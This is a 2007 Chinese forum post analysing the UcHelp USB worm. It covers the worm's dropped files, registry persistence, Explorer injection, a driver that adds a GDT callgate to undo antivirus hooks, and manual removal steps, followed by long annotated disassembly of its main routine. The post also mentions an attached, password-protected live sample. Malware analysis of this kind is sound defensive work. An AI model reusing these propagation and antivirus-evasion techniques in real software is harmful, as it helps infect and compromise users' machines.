飘云阁

 找回密码
 加入我们

QQ登录

只需一步,快速开始

查看: 24911|回复: 37

[原创] UcHelp 病毒分析

[复制链接]

该用户从未签到

发表于 2007-12-1 13:33:59 | 显示全部楼层 |阅读模式
记得申请PYG的时候,PYG刚刚成长,我事和他一起成长的
不过很少发帖。这篇是我今年六一写的病毒分析,尽管已经事过去时了
不过。。。。
也算自己的一份原创吧

本压缩包中包含病毒样本,注意!
解压密码:24882688


UcHelp 病毒分析 By Cater

Cater [*.S.T] QQ:24882688

2007.06.01 扬州/南京 写
感谢恶灵骑士(MJ0011)以及 xyzreg
  1. UcHelp 病毒分析

  2. 目录

  3. 第一章        相关信息
  4. 1.1 简述计算机病毒概况 …………………………………………………        2
  5. 1.2 读者应具备知识        ……………………………………………………        3

  6. 第二章        介绍UcHelp病毒
  7. 2.1 病毒呈现的现象        ……………………………………………………        4
  8. 2.2 病毒运作机理          ……………………………………………………        5
  9. 2.3 病毒模块介绍          ……………………………………………………        6
  10. 2.4 病毒手动清除方案        ……………………………………………………        7

  11. 第三章        UcHelp病毒汇编分析
  12. 3.1 UcHelp.exe 的分析        ……………………………………………        8
  13. 3.2 sysret.dat的分析        …………………………………………………        34
  14. 3.3 AceExt32.dll的分析  ……………………………………………        37
  15. 3.4 ulinshi32.exe的分析          …………………………………………        38
  16. 3.5 ZipExt32.dll的分析  ……………………………………………        43

  17. 第四章        附录       
  18. 4.1 UcHelp病毒清除脚本 ……………………………………………        44
  19. 4.2 病毒预防措施………………………………………………………        46
  20. 4.3 参考资料……………………………………………………………        46


  21. 第一章        相关信息

  22.         本病毒分析报告于计算机安全方面的读物,阅读本分析报告首先要对计算机病毒发展以及编程有一定的基础。

  23. 1.1        简述计算机病毒概况

  24. 什么是计算机病毒?
  25.       计算机病毒是指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据,影响计算机使用,并能自我复制的一组计算机指令或者程序代码,就像生物病毒一样,计算机病毒有独特的复制能力。计算机病毒可以很快地蔓延,又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时,它们就随同文件一起蔓延开来。



  26. 制作病毒的目的
  27. 病毒程序的编写与反病毒本来就是一家,所谓的病毒程序起初是一些程序员为了测试某种功能而设计出的一种特殊程序,有的作者为了提高自己的名声在网上传播但绝大数都是为了经济目的。
  28. 目前的互联网非常脆弱,各种基础网络应用、电脑系统漏洞、Web程序的漏洞层出不穷,这些都为黑客和病毒制造者提供了入侵和偷窃的机会。与此同时,病毒产业链越来越完善,从病毒程序开发、传播病毒到销售病毒,形成了分工明确的整条操作流程,这条黑色产业链每年的整体利润预计高达数亿元。黑客和电脑病毒窃取的个人资料从QQ密码、网游密码到银行账号、信用卡账号等等,包罗万象,任何可以直接或间接转换成金钱的东西,都成为黑客窃取的对象。

  29. 目前流行病毒的传播
  30. 流行病毒的传播主要有网络与移动存储为主。
  31. 网络传播的手法主要有:
  32. 利用系统漏洞通过局域网或网页木马,病毒邮件将病毒传播到宿主机器上。
  33. 例如:
  34. Arp病毒
  35. 利用MS07-04,MS07-16,MS07-17漏洞制作的网页木马传播的“网页收割者病毒”
  36. 移动存储的手法主要是:
  37. 利用AutoRun.ini 把移动硬盘或优盘里面的病毒激活。这一类病毒程序往往在学校机房,局域网中传播,一旦传播容易造成大规模移动存储体携带病毒,并感染使用这些携带病毒程序的主机。
  38. 例如:
  39. 前一段时间热门的熊猫烧香,威金等等





  40. 1.2 读者应具备知识

  41. 本病毒分析是针对具有一些编程经验和一定调试软件基础的程序员而写的。作为软件开发人员,有必要对软件编程调试与逆向分析两方面同时进行研究。也就是说应该更多地从逆向软件的角度考虑,这样才可能比较合理地运用各种技术。从别人写做的软件中获得作者开发软件的流程以及编程思想。
  42. 由于要与Windows的底层打交道,不可避免地要使用汇编语言,而且使用汇编语言来阐述将是最清晰直接和易于理解的,因此需要读者有一定的汇编基础。

  43. 本病毒分析适合以下读者:
  44. 对软件加密技术感兴趣的软件开发人员
  45. 进行商业软件开发的相关人员
  46. 对系统底层机制感兴趣的读者
  47. 对逆向工程感兴趣的读者
  48.         对病毒逆向分析人士


  49. 第二章        介绍UcHelp病毒

  50. UcHelp 是一款在移动存储体上感染并传播的病毒,他最早是我在学校机房中发现,到 2007年06月01日为止,瑞星最新版本,卡巴斯基最新版本等等杀毒软件还没有对该病毒程序做出“通缉令”。

  51. 2.1 病毒呈现的现象

  52. 生成文件:
  53. *        C:\tmp.hiv
  54. *        C:\sysret.dat
  55. *        C:\sysret.sys
  56. *        C:\WINDOWS \Downloaded Program Files\Ext32.dat

  57. C:\WINDOWS\Downloaded Program Files\CxUSBKey.exe 49152
  58. C:\WINDOWS\Downloaded Program Files\ZipExt32.dll 8192
  59. C:\WINDOWS\system32\AceExt32.dll 16384

  60. X:\RECYCLER\UcHelp.exe
  61. X:\RECYCLER\desktop.ini
  62. X:\autorun.inf
  63. 备注:打“*”的为临时产生的文件,病毒在正常情况下会将其删除。

  64. 修改注册表:
  65. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad
  66. AceExt={35CEC8A3-2BE6-11D2-8773-92E220524150}
  67. ZipExt32={35CEC8A3-2BE6-11D2-8773-92E220524140}
  68. HKEY_CLASSES_ROOT\CLSID\{35CEC8A3-2BE6-11D2-8773-92E220524140}
  69. HKEY_CLASSES_ROOT\CLSID\{35CEC8A3-2BE6-11D2-8773-92E220524150}

  70. 注入到进程:
  71. Explorer 中自动加载
  72. system32\AceExt32.dll
  73. windows\Downloaded Program Files\ZipExt32.dll

  74. 病毒行为:
  75. 病毒会感染所有移动存储设备,并加载到系统自动运行,继续传播感染其他及其和移动存储设备。


  76. 2.2 病毒运作机理

  77. 1.UcHelp.exe 检查是否有 avp.exe 进程
  78.         有就 释放资源 ret 到 C:\sysret.dat 并运行
  79.                  C:\sysret.dat释放资源 SYSRET 到 C:\sysret.sys,并加载驱动,向GDT添加一个callgate,以便R3的程序可以调用这个callgate来干一些只有R0才能干的事例如恢复杀毒软件或HIPS软件的SSDT HOOK,以及通过RestoreKey方式来过部分主动防御软件及杀毒软件的注册表监控写启动项。

  80. 2.释放资源dll到 system32\AceExt32.dll 并载到explorer进程

  81. 3.检查注册表
  82. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SM_GameDro
  83. 是否为 yes
  84. 不是,就创建这样的键值

  85. 4.列举驱动器,找到 移动设备

  86. 5.将本程序 拷贝至 C:\windows\Downloaded Program Files\CxUSBKey.exe

  87. 6.如果 上面 3,检查
  88.         不成立就从释放资源 exe 到 ulinshi32.exe 并运行
  89. 并建立 CLSID\{35CEC8A3-2BE6-11D2-8773-92E220524150}与 AceExt32.dll 关联

  90. 注意:
  91. UcHelp.exe为病毒程序的主程序,
  92. 它的资源中包含以下(2.3 病毒模块介绍)介绍的模块


  93. 2.3 病毒模块介绍

  94. UcHelp.exe 模块
  95.         病毒程序的主程序,它的资源中包含以下模块。

  96. sysret.dat模块
  97. 1.        释放资源 SYSRET 到 C:\sysret.sys,并加载到系统核心
  98. 2.        Ring0级代码,禁止 avp.exe
  99. 3.        向GDT添加一个callgate,以便R3的程序可以调用这个callgate来获取R0权限,例如恢复杀毒软件或HIPS软件的SSDT HOOK
  100. AceExr32.dll 模块
  101. 1.        修改注册表
  102. SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad
  103. 把 AceExt32.dll 加载到 Explorer.exe 进行中
  104. ZipExt32.dll 也同上被加载到Explorer.exe 进行中
  105. 2.        修改注册表
  106. 写入{35CEC8A3-2BE6-11D2-8773-92E220524150}到 CLSD 关联 AceExt32.dll
  107. 3.        AceExt32.dll 这个dll Hook了系统函数,还具有隐藏文件名为“autorun.inf”的文件并限制对该文件的读取和修改
  108. 4.        调用UnHelp.exe运行

  109. ulinshi32.exe 模块

  110. 1.        修改注册表
  111. CLSID\{35CEC8A3-2BE6-11D2-8773-92E220524140}到CLSD关联 Zipext32.dll
  112. 2.        修改注册表
  113. SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad
  114. 这里 把 Zipext32.dll 加载到 Explorer.exe 进行中
  115.         3.  tmp.hiv,是用于用RestoreKey方式来过部分主动防御软件及杀毒软件的注册表监控写启动项
  116. 3.        还是有 检查 avp.exe 进程,发现了又要利用sysret.sys 驱动功能了。

  117. ZipExt32.dll模块
  118. 相当于木马模块,后门程序.


  119. 2.4 病毒手动清除方案

  120. 清除病毒一般的方法是,关闭病毒进程,修复病毒关联,清除病毒程序,修复感染文件,下面我们就对 UcHelp 病毒进行手动清除病毒。

  121. 首先让系统进入安全模式或者结束进程CxUSBKey.exe,explorer.exe
  122.         1.        如果有以下文件请删除
  123. *        C:\tmp.hiv
  124. *        C:\sysret.dat
  125. *        C:\sysret.sys
  126. *        C:\WINDOWS \Downloaded Program Files\Ext32.dat
  127.         C:\WINDOWS\Downloaded Program Files\Ext32.dll
  128. C:\WINDOWS\Downloaded Program Files\CxUSBKey.exe 49152
  129. C:\WINDOWS\Downloaded Program Files\ZipExt32.dll 8192
  130. C:\WINDOWS\system32\AceExt32.dll 16384

  131. X:\RECYCLER\UcHelp.exe
  132. X:\RECYCLER\desktop.ini
  133. X:\autorun.inf
  134. 备注:打“*”的为临时产生的文件,病毒在正常情况下会将其删除。

  135. 2. 删除注册表
  136. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad下面的
  137. AceExt={35CEC8A3-2BE6-11D2-8773-92E220524150}
  138. ZipExt32={35CEC8A3-2BE6-11D2-8773-92E220524140}
  139. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SM_GameDro
  140. HKEY_CLASSES_ROOT\CLSID\{35CEC8A3-2BE6-11D2-8773-92E220524150}
  141. HKEY_CLASSES_ROOT\CLSID\{35CEC8A3-2BE6-11D2-8773-92E220524140}

  142. 3. 关闭自动运行
  143. 开始-》运行-》Gpedit.msc-》计算机配置-》管理模块-》系统-》关闭自动播放-》已启动-》所有驱动器-》确定 OK~

  144. 4. 插入移动存储器,鼠标右键打开
  145. 删除里面的病毒程序
  146. X:\RECYCLER\UcHelp.exe
  147. X:\RECYCLER\desktop.ini
  148. X:\autorun.inf

  149. 到这里病毒已经算是被清除掉了。


  150. 第三章        UcHelp病毒汇编分析

  151. 【病毒调试环境】
  152. 【病毒加壳方式】: FSG 2.0
  153. 【病毒编写语言】: C++ 6.0
  154. 【调试病毒工具】: OllyDbg1.10
  155. 【调试主机系统】: Windows XP-SP2


  156. 3.1        Help.exe 的分析

  157. 病毒程序 UcHelp.exe 的分析

  158. 00401800  /$  55           PUSH EBP
  159. 00401801  |.  8BEC         MOV EBP,ESP
  160. 00401803  |.  83E4 F8       AND ESP,FFFFFFF8
  161. 00401806  |.  81EC 94010000 SUB ESP,194
  162. 0040180C  |.  33C0         XOR EAX,EAX
  163. 0040180E  |.  894424 09     MOV DWORD PTR SS:[ESP+9],EAX
  164. 00401812  |.  53            PUSH EBX
  165. 00401813  |.  66:894424 11   MOV WORD PTR SS:[ESP+11],AX
  166. 00401818  |.  56            PUSH ESI
  167. 00401819  |.  57            PUSH EDI
  168. 0040181A  |.  884424 20     MOV BYTE PTR SS:[ESP+20],AL
  169. 0040181E  |.  884424 1B     MOV BYTE PTR SS:[ESP+1B],AL
  170. 00401822  |.  B9 1F000000   MOV ECX,1F
  171. 00401827  |.  8D7C24 21     LEA EDI,DWORD PTR SS:[ESP+21]
  172. 0040182B  |.  F3:AB        REP STOS DWORD PTR ES:[EDI]
  173. 0040182D  |.  68 80000000   PUSH 80                         ; /BufSize = 80 (128.)
  174. 00401832  |.  8D4C24 24     LEA ECX,DWORD PTR SS:[ESP+24] ; |
  175. 00401836  |.  66:AB         STOS WORD PTR ES:[EDI]         ; |
  176. 00401838  |.  51            PUSH ECX                       ; |PathBuffer
  177. 00401839  |.  6A 00         PUSH 0                          ; |hModule = NULL
  178. 0040183B  |.  C64424 20 00  MOV BYTE PTR SS:[ESP+20],0     ; |
  179. 00401840  |.  AA            STOS BYTE PTR ES:[EDI]        ; |
  180. 00401841  |.  FF15 7C204000 CALL DWORD PTR DS:[<&KERNEL32.GetModuleF>; \GetModuleFileNameA
  181. 00401847  |.  E8 E4F8FFFF   CALL UcHelp.00401130   ;检查 进程 是否含有 avp.exe
  182. 0040184C  |.  84C0          TEST AL,AL
  183. 0040184E  |.  74 2E          JE SHORT UcHelp.0040187E
  184. 00401850  |.  8B55 08       MOV EDX,DWORD PTR SS:[EBP+8]  ;有 avp.exe来这里
  185. 00401853  |.  6A 05         PUSH 5                  ; /ShowState = SW_SHOW
  186. 00401855  |.  6A 00         PUSH 0                  ; |/lParam = 0
  187. 00401857  |.  68 E0174000   PUSH UcHelp.004017E0    ; ||pDlgProc = UcHelp.004017E0
  188. 0040185C  |.  6A 00         PUSH 0                 ; ||hOwner = NULL
  189. 0040185E  |.  6A 65         PUSH 65                ; ||pTemplate = 65
  190. 00401860  |.  52            PUSH EDX              ; ||hInst
  191. 00401861  |.  FF15 E4204000 CALL DWORD PTR DS:[<&USER32.CreateDialog>; |\CreateDialogParamA
  192. 00401867  |.  50            PUSH EAX                                 ; |hWnd
  193. 00401868  |.  FF15 E8204000 CALL DWORD PTR DS:[<&USER32.ShowWindow>] ; \ShowWindow
  194. 0040186E  |.  E8 2DF9FFFF  CALL UcHelp.004011A0 ;释放资源ret到C:\sysret.dat并运行
  195. 00401873  |.  68 58020000   PUSH 258                         ; /Timeout = 600. ms
  196. 00401878  |.  FF15 8C204000 CALL DWORD PTR DS:[<&KERNEL32.Sleep>]    ; \Sleep
  197. 0040187E  |> \E8 ADFBFFFF   CALL UcHelp.00401430
  198. ;释放资源dll到 system32\AceExt32.dll 并载到explorer进程

  199. 00401883  |.  8B35 B4204000 MOV ESI,DWORD PTR DS:[<&MSVCRT.strs>;  msvcrt.strstr
  200. 00401889  |.  8D4424 20     LEA EAX,DWORD PTR SS:[ESP+20]
  201. 0040188D  |.  68 C0234000   PUSH UcHelp.004023C0                ; /UcHelp.exe
  202. 00401892  |.  50            PUSH EAX                           ; |s1
  203. 00401893  |.  FFD6         CALL ESI                            ; \strstr
  204. 00401895  |.  83C4 08       ADD ESP,8
  205. ;  检查 当前程序的文件名 中是否含有 UcHelp.exe
  206. 00401898  |.  85C0          TEST EAX,EAX
  207. 0040189A  |.  75 4B         JNZ SHORT UcHelp.004018E7
  208. 0040189C  |.  8D4C24 10  LEA ECX,DWORD PTR SS:[ESP+10] ;无UcHelp.exe执行以下
  209. 004018A0  |.  51            PUSH ECX              ; /pHandle
  210. 004018A1  |.  68 3F000F00   PUSH 0F003F            ; |Access = KEY_ALL_ACCESS
  211. 004018A6  |.  50            PUSH EAX              ; |Reserved
  212. 004018A7  |.  68 78214000   PUSH UcHelp.00402178                ; |SOFTWARE\Microsoft\Windows\CurrentVersion
  213. 004018AC  |.  68 02000080   PUSH 80000002     ; |hKey = HKEY_LOCAL_MACHINE
  214. 004018B1  |.  FF15 08204000 CALL DWORD PTR DS:[<&ADVAPI32.RegOp>; \RegOpenKeyExA
  215. 004018B7  |.  68 68214000   PUSH UcHelp.00402168                ; /yes
  216. 004018BC  |.  FF15 3C204000 CALL DWORD PTR DS:[<&KERNEL32.lstrl>; \lstrlenA
  217. 004018C2  |.  8B5424 10     MOV EDX,DWORD PTR SS:[ESP+10]
  218. 004018C6  |.  50            PUSH EAX                      ; /BufSize
  219. 004018C7  |.  68 68214000   PUSH UcHelp.00402168           ; |yes
  220. 004018CC  |.  6A 01         PUSH 1                        ; |ValueType = REG_SZ
  221. 004018CE  |.  6A 00         PUSH 0                        ; |Reserved = 0
  222. 004018D0  |. 68 6C214000    PUSH UcHelp.0040216C           ; |SM_GameDrop
  223. 004018D5  |.  52            PUSH EDX                            ; |hKey
  224. 004018D6  |.  FF15 00204000 CALL DWORD PTR DS:[<&ADVAPI32.RegSe>; \RegSetValueExA
  225. 004018DC  |.  8B4424 10     MOV EAX,DWORD PTR SS:[ESP+10]
  226. ;写注册表
  227. ;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SM_GameDrop=Yes
  228. 004018E0  |.  50            PUSH EAX                            ; /hKey
  229. 004018E1  |. FF15 18204000 CALL DWORD PTR DS:[<&ADVAPI32.RegCl>; \RegCloseKey
  230. 004018E7  |>  8D4C24 20     LEA ECX,DWORD PTR SS:[ESP+20]
  231. 004018EB  |.  68 C0234000   PUSH UcHelp.004023C0                ;  UcHelp.exe
  232. 004018F0  |.  51            PUSH ECX
  233. 004018F1  |.  FFD6         CALL ESI
  234. 004018F3  |.  83C4 08       ADD ESP,8
  235. 004018F6  |.  85C0         TEST EAX,EAX
  236. 004018F8  |.  0F84 70010000 JE UcHelp.00401A6E
  237. 004018FE |. 8B35 EC204000 MOV ESI,DWORD PTR DS:[<&USER32.wspr>;  USER32.wsprintfA
  238. 00401904  |.  8B3D 70204000 MOV EDI,DWORD PTR DS:[<&KERNEL32.Ge>;  kernel32.GetDriveTypeA
  239. 0040190A  |.  B3 43         MOV BL,43
  240. 0040190C  |.  8D6424 00     LEA ESP,DWORD PTR SS:[ESP]
  241. 00401910  |>  0FBEC3       /MOVSX EAX,BL
  242. 00401913  |.  50            |PUSH EAX
  243. 00401914  |.  33D2          |XOR EDX,EDX
  244. 00401916  |.  8D4C24 18     |LEA ECX,DWORD PTR SS:[ESP+18]
  245. 0040191A  |.  895424 18     |MOV DWORD PTR SS:[ESP+18],EDX
  246. 0040191E  |.  68 BC234000   |PUSH UcHelp.004023BC               ;  %c:
  247. 00401923  |.  51            |PUSH ECX
  248. 00401924  |.  895424 24     |MOV DWORD PTR SS:[ESP+24],EDX
  249. 00401928  |.  FFD6         |CALL ESI
  250. 0040192A  |.  83C4 0C      |ADD ESP,0C
  251. 0040192D  |.  8D5424 14    |LEA EDX,DWORD PTR SS:[ESP+14]
  252. 00401931  |.  52            |PUSH EDX
  253. 00401932  |.  FFD7         |CALL EDI
  254. 00401934  |.  83F8 02       |CMP EAX,2
  255. 00401937  |.  74 09         |JE SHORT UcHelp.00401942       ;  找到 移动设备跳出
  256. 00401939  |.  FEC3         |INC BL           ;  列举驱动器,从 c盘 列举 到 z 盘
  257. 0040193B  |.  80FB 5A      |CMP BL,5A
  258. 0040193E  |.^ 7E D0         \JLE SHORT UcHelp.00401910
  259. 00401940  |.  EB 7B         JMP SHORT UcHelp.004019BD
  260. 00401942  |>  6A 00         PUSH 0                              ; /Title = NULL
  261. 00401944  |.  68 AC234000  PUSH UcHelp.004023AC                ; |CabinetWClass
  262. 00401949 |.  FF15 F4204000 CALL DWORD PTR DS:[<&USER32.FindWin>; \FindWindowA
  263. 0040194F  |.  8B35 FC204000 MOV ESI,DWORD PTR DS:[<&USER32.Find>;  USER32.FindWindowExA
  264. 00401955  |.  6A 00         PUSH 0                          ; /Title = NULL
  265. 00401957  |.  68 A4234000   PUSH UcHelp.004023A4            ; |WorkerW
  266. 0040195C  |.  6A 00        PUSH 0                           ; |hAfterWnd = NULL
  267. 0040195E  |.  50           PUSH EAX                        ; |hParent
  268. 0040195F  |.  FFD6       CALL ESI                          ; \FindWindowExA
  269. 00401961  |.  6A 00        PUSH 0                           ; /Title = NULL
  270. 00401963  |.  68 94234000   PUSH UcHelp.00402394             ; |ReBarWindow32
  271. 00401968  |.  6A 00         PUSH 0                          ; |hAfterWnd = NULL
  272. 0040196A  |.  50           PUSH EAX                       ; |hParent
  273. 0040196B  |.  FFD6         CALL ESI                        ; \FindWindowExA
  274. 0040196D  |.  6A 00         PUSH 0                          ; /Title = NULL
  275. 0040196F  |.  68 84234000   PUSH UcHelp.00402384            ; |ComboBoxEx32
  276. 00401974  |.  6A 00         PUSH 0                          ; |hAfterWnd = NULL
  277. 00401976  |.  50            PUSH EAX                       ; |hParent
  278. 00401977  |.  FFD6         CALL ESI                         ; \FindWindowExA
  279. 00401979  |.  6A 00         PUSH 0                          ; /Title = NULL
  280. 0040197B  |.  68 78234000   PUSH UcHelp.00402378            ; |ComboBox
  281. 00401980  |.  6A 00         PUSH 0                          ; |hAfterWnd = NULL
  282. 00401982  |.  50            PUSH EAX                       ; |hParent
  283. 00401983  |.  FFD6          CALL ESI                        ; \FindWindowExA
  284. 00401985  |.  6A 00         PUSH 0                          ; /Title = NULL
  285. 00401987  |.  68 70234000   PUSH UcHelp.00402370             ; |Edit
  286. 0040198C  |.  6A 00         PUSH 0                          ; |hAfterWnd = NULL
  287. 0040198E  |.  50            PUSH EAX                       ; |hParent
  288. 0040198F  |.  FFD6          CALL ESI                        ; \FindWindowExA
  289. 00401991  |.  8B3D F0204000 MOV EDI,DWORD PTR DS:[<&USER32.Send>;  USER32.SendMessageA
  290. 00401997  |.  8BF0          MOV ESI,EAX
  291. 00401999  |.  8D4424 14     LEA EAX,DWORD PTR SS:[ESP+14]
  292. ;  下面 是 激活该移动设备的资源管理器窗口
  293. 0040199D  |.  50            PUSH EAX                 ; /lParam
  294. 0040199E  |.  6A 00         PUSH 0                    ; |wParam = 0
  295. 004019A0  |.  6A 0C         PUSH 0C                  ; |Message = WM_SETTEXT
  296. 004019A2  |.  56            PUSH ESI                 ; |hWnd
  297. 004019A3  |.  FFD7          CALL EDI                 ; \SendMessageA
  298. 004019A5  |.  6A 00         PUSH 0                  ; /lParam = 0
  299. 004019A7  |.  6A 0D         PUSH 0D                ; |wParam = D
  300. 004019A9  |.  68 00010000   PUSH 100                ; |Message = WM_KEYDOWN
  301. 004019AE  |.  56            PUSH ESI               ; |hWnd
  302. 004019AF  |.  FFD7          CALL EDI              ; \SendMessageA
  303. 004019B1  |.  6A 00         PUSH 0                 ; /lParam = 0
  304. 004019B3  |.  6A 0D         PUSH 0D                   ; |wParam = D
  305. 004019B5  |.  68 01010000   PUSH 101                   ; |Message = WM_KEYUP
  306. 004019BA  |.  56            PUSH ESI                  ; |hWnd
  307. 004019BB  |.  FFD7          CALL EDI                 ; \SendMessageA
  308. 004019BD  |>  C68424 A00000>MOV BYTE PTR SS:[ESP+A0],0         

  309. ;  以上代码是向移动存储体中写入病毒程序
  310. 004019C5  |.  33C0         XOR EAX,EAX
  311. 004019C7  |.  B9 3F000000   MOV ECX,3F
  312. 004019CC  |.  8DBC24 A10000>LEA EDI,DWORD PTR SS:[ESP+A1]
  313. 004019D3  |.  F3:AB         REP STOS DWORD PTR ES:[EDI]
  314. 004019D5  |.  8D4C24 10     LEA ECX,DWORD PTR SS:[ESP+10]
  315. 004019D9  |.  51            PUSH ECX                ; /pHandle
  316. 004019DA  |.  66:AB         STOS WORD PTR ES:[EDI] ; |
  317. 004019DC  |.  68 30234000   PUSH UcHelp.00402330     ;
  318. |Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2
  319. 004019E1  |.  68 01000080   PUSH 80000001       ; |hKey = HKEY_CURRENT_USER
  320. 004019E6  |.  AA            STOS BYTE PTR ES:[EDI]              ; |
  321. 004019E7  |.  FF15 10204000 CALL DWORD PTR DS:[<&ADVAPI32.RegOp>; \RegOpenKeyA
  322. 004019ED  |.  8B1D 14204000 MOV EBX,DWORD PTR DS:[<&ADVAPI32.Re>;  ADVAPI32.RegEnumKeyA
  323. 004019F3  |.  C74424 1C 0A0>MOV DWORD PTR SS:[ESP+1C],0A
  324. 004019FB  |.  EB 03         JMP SHORT UcHelp.00401A00
  325. 004019FD  |   8D49 00       LEA ECX,DWORD PTR DS:[ECX]
  326. 00401A00  |>  8B4424 10     /MOV EAX,DWORD PTR SS:[ESP+10]
  327. 00401A04  |.  68 00010000   |PUSH 100
  328. 00401A09  |.  8D9424 A40000>|LEA EDX,DWORD PTR SS:[ESP+A4]
  329. 00401A10  |.  52            |PUSH EDX
  330. 00401A11  |.  33F6          |XOR ESI,ESI
  331. 00401A13  |.  56            |PUSH ESI
  332. 00401A14  |.  50            |PUSH EAX
  333. 00401A15  |.  FFD3          |CALL EBX
  334. 00401A17  |.  85C0          |TEST EAX,EAX
  335. 00401A19  |.  75 42         |JNZ SHORT UcHelp.00401A5D
  336. 00401A1B  |.  EB 03         |JMP SHORT UcHelp.00401A20
  337. 00401A1D  |   8D49 00       |LEA ECX,DWORD PTR DS:[ECX]
  338. 00401A20  |>  8B5424 10     |/MOV EDX,DWORD PTR SS:[ESP+10]
  339. 00401A24  |.  8D8C24 A00000>||LEA ECX,DWORD PTR SS:[ESP+A0]
  340. 00401A2B  |.  51            ||PUSH ECX                          ; /SubKey
  341. 00401A2C  |.  52            ||PUSH EDX                          ; |hKey
  342. 00401A2D  |.  FF15 DC204000 ||CALL DWORD PTR DS:[<&SHLWAPI.SHDe>; \SHDeleteKeyA
  343. 00401A33  |.  33C0          ||XOR EAX,EAX
  344. 00401A35  |.  B9 40000000   ||MOV ECX,40
  345. 00401A3A  |.  8DBC24 A00000>||LEA EDI,DWORD PTR SS:[ESP+A0]
  346. 00401A41  |.  F3:AB         ||REP STOS DWORD PTR ES:[EDI]
  347. 00401A43  |.  8B4C24 10     ||MOV ECX,DWORD PTR SS:[ESP+10]
  348. 00401A47  |.  68 00010000   ||PUSH 100
  349. 00401A4C  |.  8D8424 A40000>||LEA EAX,DWORD PTR SS:[ESP+A4]
  350. 00401A53  |.  50            ||PUSH EAX
  351. 00401A54  |.  46            ||INC ESI
  352. 00401A55  |.  56            ||PUSH ESI
  353. 00401A56  |.  51            ||PUSH ECX
  354. 00401A57  |.  FFD3          ||CALL EBX
  355. 00401A59  |.  85C0          ||TEST EAX,EAX
  356. 00401A5B  |.^ 74 C3         |\JE SHORT UcHelp.00401A20
  357. 00401A5D  |>  FF4C24 1C     |DEC DWORD PTR SS:[ESP+1C]         
  358. ;  在 那个项目里面依次删除无关项目
  359. 00401A61  |.^ 75 9D         \JNZ SHORT UcHelp.00401A00
  360. 00401A63  |.  E8 B8F7FFFF   CALL UcHelp.00401220        
  361. ;  检查 SM_GameDrop 键值是否为 yes,不是就从释放资源 exe 到 ulinshi32.exe 并运行
  362. 00401A68  |.  8B35 B4204000 MOV ESI,DWORD PTR DS:[<&MSVCRT.strs>;  msvcrt.strstr
  363. 00401A6E  |>  E8 0DFCFFFF   CALL UcHelp.00401680               
  364. ;  建立 CLSID\{35CEC8A3-2BE6-11D2-8773-92E220524150}  将 AceExt32.dll 与之关联以及建立项目情况
  365. 00401A73  |.  E8 28F9FFFF   CALL UcHelp.004013A0               
  366. ;  将本程序 拷贝至 C:\windows\Downloaded Program Files\CxUSBKey.exe
  367. 00401A78  |.  8D5424 20     LEA EDX,DWORD PTR SS:[ESP+20]
  368. 00401A7C  |.  68 C0234000   PUSH UcHelp.004023C0                ;  UcHelp.exe
  369. 00401A81  |.  52            PUSH EDX
  370. 00401A82  |.  FFD6          CALL ESI
  371. 00401A84  |.  83C4 08       ADD ESP,8
  372. 00401A87  |.  85C0          TEST EAX,EAX
  373. 00401A89  |.  75 05         JNZ SHORT UcHelp.00401A90
  374. 00401A8B  |.  E8 70F5FFFF   CALL UcHelp.00401000               
  375. ;在临时文件夹 创建ziptmp.bat写入,删除本程序的批处理并且运行
  376. 00401A90  |>  5F            POP EDI
  377. 00401A91  |.  5E            POP ESI
  378. 00401A92  |.  33C0          XOR EAX,EAX
  379. 00401A94  |.  5B            POP EBX
  380. 00401A95  |.  8BE5          MOV ESP,EBP
  381. 00401A97  |.  5D            POP EBP
  382. 00401A98  \.  C2 1000       RETN 10

  383. =====================================================================


  384. 00401130  /$  81EC 28010000 SUB ESP,128
  385. 00401136  |.  56            PUSH ESI
  386. 00401137  |.  57            PUSH EDI
  387. 00401138  |.  6A 00         PUSH 0                                   ; /ProcessID = 0
  388. 0040113A  |.  6A 02         PUSH 2              ; |Flags = TH32CS_SNAPPROCESS
  389. 0040113C  |.  E8 67090000   CALL <JMP.&KERNEL32.CreateToolhelp32Snap>; \CreateToolhelp32Snapshot
  390. 00401141  |.  8BF8          MOV EDI,EAX
  391. 00401143  |.  8D4424 08     LEA EAX,DWORD PTR SS:[ESP+8]
  392. 00401147  |.  50            PUSH EAX                           ; /pProcessentry
  393. 00401148  |.  57            PUSH EDI                            ; |hSnapshot
  394. 00401149  |.  C74424 10 280>MOV DWORD PTR SS:[ESP+10],128      ; |
  395. 00401151  |.  E8 4C090000   CALL <JMP.&KERNEL32.Process32First>  ; \Process32First
  396. 00401156  |.  85C0          TEST EAX,EAX
  397. 00401158  |.  74 28         JE SHORT UcHelp.00401182
  398. 0040115A  |.  8B35 A0204000 MOV ESI,DWORD PTR DS:[<&MSVCRT._stricmp>>;  msvcrt._stricmp
  399. 00401160  |>  8D4C24 2C     /LEA ECX,DWORD PTR SS:[ESP+2C]
  400. 00401164  |.  68 4C214000   |PUSH UcHelp.0040214C                    ;  avp.exe
  401. 00401169  |.  51            |PUSH ECX
  402. 0040116A  |.  FFD6         |CALL ESI
  403. 0040116C  |.  83C4 08       |ADD ESP,8
  404. 0040116F  |.  85C0          |TEST EAX,EAX
  405. 00401171  |.  74 1A         |JE SHORT UcHelp.0040118D ;列举进程中是否含有 avp.exe 进程
  406. 00401173  |.  8D5424 08     |LEA EDX,DWORD PTR SS:[ESP+8]
  407. 00401177  |.  52            |PUSH EDX                          ; /pProcessentry
  408. 00401178  |.  57            |PUSH EDI                           ; |hSnapshot
  409. 00401179  |.  E8 1E090000   |CALL <JMP.&KERNEL32.Process32Next> ; \Process32Next
  410. 0040117E  |.  85C0          |TEST EAX,EAX
  411. 00401180  |.^ 75 DE         \JNZ SHORT UcHelp.00401160
  412. 00401182  |>  5F            POP EDI
  413. 00401183  |.  32C0          XOR AL,AL
  414. 00401185  |.  5E            POP ESI
